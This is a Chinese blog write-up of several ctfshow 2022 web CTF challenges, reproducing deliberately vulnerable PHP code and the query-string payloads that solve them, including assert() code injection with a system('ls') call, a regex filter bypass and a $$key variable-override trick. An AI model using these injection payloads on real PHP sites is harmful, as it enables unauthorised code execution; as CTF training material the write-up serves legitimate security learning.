2022CTFSHOW菜狗杯部分题目(四)

(WEB)TapTapTap-ctfshow 【JS代码】

这道题跟WEB其实没啥关系。

image

网页游戏类的题目直接查看其源代码。

image

在JS文件中找到一串BASE64编码的字符串。

结合前面的语句,当游戏关数达到20关以上时,会显示一个提示,内容就是这个。

base解码出来:

image

直接访问这个/secret_path_you_do_not_know/secretfile.txt

image

(WEB)一言既出-ctfshow 【assert】

题目:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

Assert函数可以执行里面的代码,这里可以提前闭合并注释后面的即可绕过。

pyload:

?num=114514);%23

image

2种其它写法(官方WP):

?num=114514);(19199810
?num=114514)==1%20or%20system(%27ls%27);%23

(WEB)驷马难追-ctfshow 【assert】

题目:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);

和前一题相比增加了过滤,无法使用闭合了:

image

解法:使用加法运算。

payload:

?num=114514+1805296	//加号要使用url编码,即:
	?num=114514%2B1805296

image

(WEB)化零为整-ctfshow 【RCE】

题目:

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

中文的url编码长度为3,比如

大的URL编码是:%E5%A4%A7

牛的URL编码是:%E7%89%9B

而第九行代码限制我们一次传值的长度只能为1,于是payload:

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

image

(WEB)遍地飘零-ctfshow 【变量覆盖】

题目:

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

把flag赋值给_GET就可以了:

?_GET=flag

image

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值